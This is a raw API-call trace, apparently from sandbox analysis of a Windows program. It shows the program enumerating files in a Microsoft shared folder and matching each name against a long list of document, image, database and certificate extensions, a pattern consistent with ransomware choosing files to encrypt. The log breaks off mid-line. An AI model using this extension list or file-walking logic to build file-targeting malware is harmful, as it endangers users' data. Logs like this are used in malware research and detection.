[0089.424] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG") returned 1 [0089.424] lstrlenW (lpString="bg-BG") returned 5 [0089.424] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="bg-BG") returned 1 [0089.424] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0089.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG") returned 56 [0089.424] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260610 [0089.424] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0089.424] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0089.424] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0089.424] lstrlenW (lpString=".1cd") returned 4 [0089.424] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0089.424] lstrlenW (lpString=".3ds") returned 4 [0089.424] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0089.424] lstrlenW (lpString=".3fr") returned 4 [0089.424] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0089.424] lstrlenW (lpString=".3g2") returned 4 [0089.424] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0089.424] lstrlenW (lpString=".3gp") returned 4 [0089.424] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0089.425] lstrlenW (lpString=".7z") returned 3 [0089.425] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0089.425] lstrlenW (lpString=".accda") returned 6 [0089.425] lstrcmpiW (lpString1=".accda", lpString2="ll.mui") returned -1 [0089.425] lstrlenW (lpString=".accdb") returned 6 [0089.425] lstrcmpiW (lpString1=".accdb", lpString2="ll.mui") returned -1 [0089.425] lstrlenW (lpString=".accdc") returned 6 [0089.425] lstrcmpiW (lpString1=".accdc", lpString2="ll.mui") returned -1 [0089.425] lstrlenW (lpString=".accde") returned 6 [0089.425] lstrcmpiW (lpString1=".accde", lpString2="ll.mui") returned -1 [0089.425] lstrlenW (lpString=".accdt") returned 6 [0089.425] lstrcmpiW (lpString1=".accdt", lpString2="ll.mui") returned -1 [0089.425] lstrlenW (lpString=".accdw") returned 6 [0089.425] lstrcmpiW (lpString1=".accdw", lpString2="ll.mui") returned -1 [0089.425] lstrlenW (lpString=".adb") returned 4 [0089.425] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0089.425] lstrlenW (lpString=".adp") returned 4 [0089.425] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0089.425] lstrlenW (lpString=".ai") returned 3 [0089.425] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0089.425] lstrlenW (lpString=".ai3") returned 4 [0089.425] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0089.425] lstrlenW (lpString=".ai4") returned 4 [0089.425] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0089.425] lstrlenW (lpString=".ai5") returned 4 [0089.425] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0089.425] lstrlenW (lpString=".ai6") returned 4 [0089.425] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0089.425] lstrlenW (lpString=".ai7") returned 4 [0089.425] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0089.426] lstrlenW (lpString=".ai8") returned 4 [0089.426] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0089.426] lstrlenW (lpString=".anim") returned 5 [0089.426] lstrcmpiW (lpString1=".anim", lpString2="l.mui") returned -1 [0089.426] lstrlenW (lpString=".arw") returned 4 [0089.426] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0089.426] lstrlenW (lpString=".as") returned 3 [0089.426] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0089.426] lstrlenW (lpString=".asa") returned 4 [0089.426] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0089.426] lstrlenW (lpString=".asc") returned 4 [0089.426] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0089.426] lstrlenW (lpString=".ascx") returned 5 [0089.426] lstrcmpiW (lpString1=".ascx", lpString2="l.mui") returned -1 [0089.426] lstrlenW (lpString=".asm") returned 4 [0089.426] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0089.426] lstrlenW (lpString=".asmx") returned 5 [0089.426] lstrcmpiW (lpString1=".asmx", lpString2="l.mui") returned -1 [0089.426] lstrlenW (lpString=".asp") returned 4 [0089.426] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0089.426] lstrlenW (lpString=".aspx") returned 5 [0089.426] lstrcmpiW (lpString1=".aspx", lpString2="l.mui") returned -1 [0089.426] lstrlenW (lpString=".asr") returned 4 [0089.426] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0089.426] lstrlenW (lpString=".asx") returned 4 [0089.426] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0089.426] lstrlenW (lpString=".avi") returned 4 [0089.426] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0089.426] lstrlenW (lpString=".avs") returned 4 [0089.426] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0089.426] lstrlenW (lpString=".backup") returned 7 [0089.426] lstrcmpiW (lpString1=".backup", lpString2="dll.mui") returned -1 [0089.427] lstrlenW (lpString=".bak") returned 4 [0089.427] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0089.427] lstrlenW (lpString=".bay") returned 4 [0089.427] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0089.427] lstrlenW (lpString=".bd") returned 3 [0089.427] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0089.427] lstrlenW (lpString=".bin") returned 4 [0089.427] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0089.427] lstrlenW (lpString=".bmp") returned 4 [0089.427] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0089.427] lstrlenW (lpString=".bz2") returned 4 [0089.427] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0089.427] lstrlenW (lpString=".c") returned 2 [0089.427] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0089.427] lstrlenW (lpString=".cdr") returned 4 [0089.427] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0089.427] lstrlenW (lpString=".cer") returned 4 [0089.427] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0089.427] lstrlenW (lpString=".cf") returned 3 [0089.427] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0089.427] lstrlenW (lpString=".cfc") returned 4 [0089.427] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0089.427] lstrlenW (lpString=".cfm") returned 4 [0089.427] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0089.427] lstrlenW (lpString=".cfml") returned 5 [0089.427] lstrcmpiW (lpString1=".cfml", lpString2="l.mui") returned -1 [0089.427] lstrlenW (lpString=".cfu") returned 4 [0089.427] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0089.427] lstrlenW (lpString=".chm") returned 4 [0089.427] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0089.427] lstrlenW (lpString=".cin") returned 4 [0089.428] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0089.428] lstrlenW (lpString=".class") returned 6 [0089.428] lstrcmpiW (lpString1=".class", lpString2="ll.mui") returned -1 [0089.428] lstrlenW (lpString=".clx") returned 4 [0089.428] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0089.428] lstrlenW (lpString=".config") returned 7 [0089.428] lstrcmpiW (lpString1=".config", lpString2="dll.mui") returned -1 [0089.428] lstrlenW (lpString=".cpp") returned 4 [0089.428] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0089.428] lstrlenW (lpString=".cr2") returned 4 [0089.428] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0089.428] lstrlenW (lpString=".crt") returned 4 [0089.428] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0089.428] lstrlenW (lpString=".crw") returned 4 [0089.428] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0089.428] lstrlenW (lpString=".cs") returned 3 [0089.428] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0089.428] lstrlenW (lpString=".css") returned 4 [0089.428] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0089.428] lstrlenW (lpString=".csv") returned 4 [0089.428] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0089.428] lstrlenW (lpString=".cub") returned 4 [0089.429] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0089.429] lstrlenW (lpString=".dae") returned 4 [0089.429] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0089.429] lstrlenW (lpString=".dat") returned 4 [0089.429] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0089.429] lstrlenW (lpString=".db") returned 3 [0089.429] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0089.429] lstrlenW (lpString=".dbf") returned 4 [0089.429] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0089.429] lstrlenW (lpString=".dbx") returned 4 [0089.429] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0089.429] lstrlenW (lpString=".dc3") returned 4 [0089.429] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0089.429] lstrlenW (lpString=".dcm") returned 4 [0089.429] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0089.429] lstrlenW (lpString=".dcr") returned 4 [0089.429] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0089.429] lstrlenW (lpString=".der") returned 4 [0089.429] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0089.429] lstrlenW (lpString=".dib") returned 4 [0089.429] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0089.429] lstrlenW (lpString=".dic") returned 4 [0089.429] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0089.429] lstrlenW (lpString=".dif") returned 4 [0089.429] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0089.429] lstrlenW (lpString=".divx") returned 5 [0089.429] lstrcmpiW (lpString1=".divx", lpString2="l.mui") returned -1 [0089.429] lstrlenW (lpString=".djvu") returned 5 [0089.429] lstrcmpiW (lpString1=".djvu", lpString2="l.mui") returned -1 [0089.429] lstrlenW (lpString=".dng") returned 4 [0089.430] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0089.430] lstrlenW (lpString=".doc") returned 4 [0089.430] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0089.430] lstrlenW (lpString=".docm") returned 5 [0089.430] lstrcmpiW (lpString1=".docm", lpString2="l.mui") returned -1 [0089.430] lstrlenW (lpString=".docx") returned 5 [0089.430] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0089.430] lstrlenW (lpString=".dot") returned 4 [0089.430] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0089.430] lstrlenW (lpString=".dotm") returned 5 [0089.430] lstrcmpiW (lpString1=".dotm", lpString2="l.mui") returned -1 [0089.430] lstrlenW (lpString=".dotx") returned 5 [0089.430] lstrcmpiW (lpString1=".dotx", lpString2="l.mui") returned -1 [0089.430] lstrlenW (lpString=".dpx") returned 4 [0089.430] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0089.430] lstrlenW (lpString=".dqy") returned 4 [0089.430] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0089.430] lstrlenW (lpString=".dsn") returned 4 [0089.430] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0089.430] lstrlenW (lpString=".dt") returned 3 [0089.430] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0089.430] lstrlenW (lpString=".dtd") returned 4 [0089.430] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0089.430] lstrlenW (lpString=".dwg") returned 4 [0089.430] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0089.430] lstrlenW (lpString=".dwt") returned 4 [0089.430] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0089.430] lstrlenW (lpString=".dx") returned 3 [0089.430] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0089.430] lstrlenW (lpString=".dxf") returned 4 [0089.430] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0089.430] lstrlenW (lpString=".edml") returned 5 [0089.431] lstrcmpiW (lpString1=".edml", lpString2="l.mui") returned -1 [0089.431] lstrlenW (lpString=".efd") returned 4 [0089.431] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0089.431] lstrlenW (lpString=".elf") returned 4 [0089.431] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0089.431] lstrlenW (lpString=".emf") returned 4 [0089.431] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0089.431] lstrlenW (lpString=".emz") returned 4 [0089.431] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0089.431] lstrlenW (lpString=".epf") returned 4 [0089.431] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0089.431] lstrlenW (lpString=".eps") returned 4 [0089.431] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0089.431] lstrlenW (lpString=".epsf") returned 5 [0089.431] lstrcmpiW (lpString1=".epsf", lpString2="l.mui") returned -1 [0089.431] lstrlenW (lpString=".epsp") returned 5 [0089.431] lstrcmpiW (lpString1=".epsp", lpString2="l.mui") returned -1 [0089.431] lstrlenW (lpString=".erf") returned 4 [0089.431] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0089.431] lstrlenW (lpString=".exr") returned 4 [0089.431] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0089.431] lstrlenW (lpString=".f4v") returned 4 [0089.431] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0089.431] lstrlenW (lpString=".fido") returned 5 [0089.431] lstrcmpiW (lpString1=".fido", lpString2="l.mui") returned -1 [0089.431] lstrlenW (lpString=".flm") returned 4 [0089.431] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0089.431] lstrlenW (lpString=".flv") returned 4 [0089.431] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0089.431] lstrlenW (lpString=".frm") returned 4 [0089.431] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0089.431] lstrlenW (lpString=".fxg") returned 4 [0089.432] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0089.432] lstrlenW (lpString=".geo") returned 4 [0089.432] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0089.432] lstrlenW (lpString=".gif") returned 4 [0089.432] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0089.432] lstrlenW (lpString=".grs") returned 4 [0089.432] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0089.432] lstrlenW (lpString=".gz") returned 3 [0089.432] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0089.432] lstrlenW (lpString=".h") returned 2 [0089.432] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0089.432] lstrlenW (lpString=".hdr") returned 4 [0089.432] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0089.432] lstrlenW (lpString=".hpp") returned 4 [0089.432] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0089.432] lstrlenW (lpString=".hta") returned 4 [0089.432] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0089.432] lstrlenW (lpString=".htc") returned 4 [0089.432] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0089.432] lstrlenW (lpString=".htm") returned 4 [0089.432] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0089.432] lstrlenW (lpString=".html") returned 5 [0089.432] lstrcmpiW (lpString1=".html", lpString2="l.mui") returned -1 [0089.432] lstrlenW (lpString=".icb") returned 4 [0089.432] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0089.432] lstrlenW (lpString=".ics") returned 4 [0089.432] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0089.432] lstrlenW (lpString=".iff") returned 4 [0089.432] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0089.432] lstrlenW (lpString=".inc") returned 4 [0089.432] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0089.432] lstrlenW (lpString=".indd") returned 5 [0089.433] lstrcmpiW (lpString1=".indd", lpString2="l.mui") returned -1 [0089.433] lstrlenW (lpString=".ini") returned 4 [0089.433] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0089.433] lstrlenW (lpString=".iqy") returned 4 [0089.433] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0089.433] lstrlenW (lpString=".j2c") returned 4 [0089.433] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0089.433] lstrlenW (lpString=".j2k") returned 4 [0089.433] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0089.433] lstrlenW (lpString=".java") returned 5 [0089.433] lstrcmpiW (lpString1=".java", lpString2="l.mui") returned -1 [0089.433] lstrlenW (lpString=".jp2") returned 4 [0089.433] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0089.433] lstrlenW (lpString=".jpc") returned 4 [0089.433] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0089.433] lstrlenW (lpString=".jpe") returned 4 [0089.433] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0089.433] lstrlenW (lpString=".jpeg") returned 5 [0089.433] lstrcmpiW (lpString1=".jpeg", lpString2="l.mui") returned -1 [0089.433] lstrlenW (lpString=".jpf") returned 4 [0089.433] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0089.433] lstrlenW (lpString=".jpg") returned 4 [0089.433] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0089.433] lstrlenW (lpString=".jpx") returned 4 [0089.433] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0089.433] lstrlenW (lpString=".js") returned 3 [0089.433] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0089.433] lstrlenW (lpString=".jsf") returned 4 [0089.433] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0089.433] lstrlenW (lpString=".json") returned 5 [0089.433] lstrcmpiW (lpString1=".json", lpString2="l.mui") returned -1 [0089.433] lstrlenW (lpString=".jsp") returned 4 [0089.434] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0089.434] lstrlenW (lpString=".kdc") returned 4 [0089.434] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0089.434] lstrlenW (lpString=".kmz") returned 4 [0089.434] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0089.434] lstrlenW (lpString=".kwm") returned 4 [0089.434] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0089.434] lstrlenW (lpString=".lasso") returned 6 [0089.434] lstrcmpiW (lpString1=".lasso", lpString2="ll.mui") returned -1 [0089.434] lstrlenW (lpString=".lbi") returned 4 [0089.434] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0089.434] lstrlenW (lpString=".lgf") returned 4 [0089.434] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0089.434] lstrlenW (lpString=".lgp") returned 4 [0089.434] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0089.434] lstrlenW (lpString=".log") returned 4 [0089.434] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0089.434] lstrlenW (lpString=".m1v") returned 4 [0089.434] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0089.434] lstrlenW (lpString=".m4a") returned 4 [0089.434] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0089.434] lstrlenW (lpString=".m4v") returned 4 [0089.434] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0089.434] lstrlenW (lpString=".max") returned 4 [0089.434] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0089.434] lstrlenW (lpString=".md") returned 3 [0089.434] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0089.434] lstrlenW (lpString=".mda") returned 4 [0089.434] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0089.434] lstrlenW (lpString=".mdb") returned 4 [0089.434] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0089.434] lstrlenW (lpString=".mde") returned 4 [0089.435] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0089.435] lstrlenW (lpString=".mdf") returned 4 [0089.435] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0089.435] lstrlenW (lpString=".mdw") returned 4 [0089.435] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0089.435] lstrlenW (lpString=".mef") returned 4 [0089.435] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0089.435] lstrlenW (lpString=".mft") returned 4 [0089.435] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0089.435] lstrlenW (lpString=".mfw") returned 4 [0089.435] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0089.435] lstrlenW (lpString=".mht") returned 4 [0089.435] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0089.435] lstrlenW (lpString=".mhtml") returned 6 [0089.435] lstrcmpiW (lpString1=".mhtml", lpString2="ll.mui") returned -1 [0089.435] lstrlenW (lpString=".mka") returned 4 [0089.435] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0089.435] lstrlenW (lpString=".mkidx") returned 6 [0089.435] lstrcmpiW (lpString1=".mkidx", lpString2="ll.mui") returned -1 [0089.435] lstrlenW (lpString=".mkv") returned 4 [0089.435] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0089.435] lstrlenW (lpString=".mos") returned 4 [0089.435] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0089.435] lstrlenW (lpString=".mov") returned 4 [0089.435] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0089.435] lstrlenW (lpString=".mp3") returned 4 [0089.435] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0089.435] lstrlenW (lpString=".mp4") returned 4 [0089.435] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0089.435] lstrlenW (lpString=".mpeg") returned 5 [0089.435] lstrcmpiW (lpString1=".mpeg", lpString2="l.mui") returned -1 [0089.435] lstrlenW (lpString=".mpg") returned 4 [0089.436] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0089.436] lstrlenW (lpString=".mpv") returned 4 [0089.436] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0089.436] lstrlenW (lpString=".mrw") returned 4 [0089.436] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0089.436] lstrlenW (lpString=".msg") returned 4 [0089.436] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0089.436] lstrlenW (lpString=".mxl") returned 4 [0089.436] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0089.436] lstrlenW (lpString=".myd") returned 4 [0089.436] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0089.436] lstrlenW (lpString=".myi") returned 4 [0089.436] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0089.436] lstrlenW (lpString=".nef") returned 4 [0089.436] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0089.436] lstrlenW (lpString=".nrw") returned 4 [0089.436] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0089.436] lstrlenW (lpString=".obj") returned 4 [0089.436] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0089.436] lstrlenW (lpString=".odb") returned 4 [0089.436] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0089.436] lstrlenW (lpString=".odc") returned 4 [0089.436] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0089.436] lstrlenW (lpString=".odm") returned 4 [0089.436] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0089.436] lstrlenW (lpString=".odp") returned 4 [0089.436] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0089.436] lstrlenW (lpString=".ods") returned 4 [0089.436] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0089.436] lstrlenW (lpString=".oft") returned 4 [0089.436] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0089.436] lstrlenW (lpString=".one") returned 4 [0089.437] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0089.437] lstrlenW (lpString=".onepkg") returned 7 [0089.437] lstrcmpiW (lpString1=".onepkg", lpString2="dll.mui") returned -1 [0089.437] lstrlenW (lpString=".onetoc2") returned 8 [0089.437] lstrcmpiW (lpString1=".onetoc2", lpString2=".dll.mui") returned 1 [0089.437] lstrlenW (lpString=".opt") returned 4 [0089.437] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0089.437] lstrlenW (lpString=".oqy") returned 4 [0089.437] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0089.437] lstrlenW (lpString=".orf") returned 4 [0089.437] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0089.437] lstrlenW (lpString=".p12") returned 4 [0089.437] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0089.437] lstrlenW (lpString=".p7b") returned 4 [0089.437] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0089.437] lstrlenW (lpString=".p7c") returned 4 [0089.437] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0089.437] lstrlenW (lpString=".pam") returned 4 [0089.437] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0089.437] lstrlenW (lpString=".pbm") returned 4 [0089.437] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0089.437] lstrlenW (lpString=".pct") returned 4 [0089.437] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0089.437] lstrlenW (lpString=".pcx") returned 4 [0089.437] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0089.437] lstrlenW (lpString=".pdd") returned 4 [0089.437] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0089.437] lstrlenW (lpString=".pdf") returned 4 [0089.437] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0089.437] lstrlenW (lpString=".pdp") returned 4 [0089.437] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0089.437] lstrlenW (lpString=".pef") returned 4 [0089.438] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0089.438] lstrlenW (lpString=".pem") returned 4 [0089.438] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0089.438] lstrlenW (lpString=".pff") returned 4 [0089.438] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0089.438] lstrlenW (lpString=".pfm") returned 4 [0089.438] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0089.438] lstrlenW (lpString=".pfx") returned 4 [0089.438] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0089.438] lstrlenW (lpString=".pgm") returned 4 [0089.438] lstrcmpiW (lpString1=".pgm", lpString2=".mui") 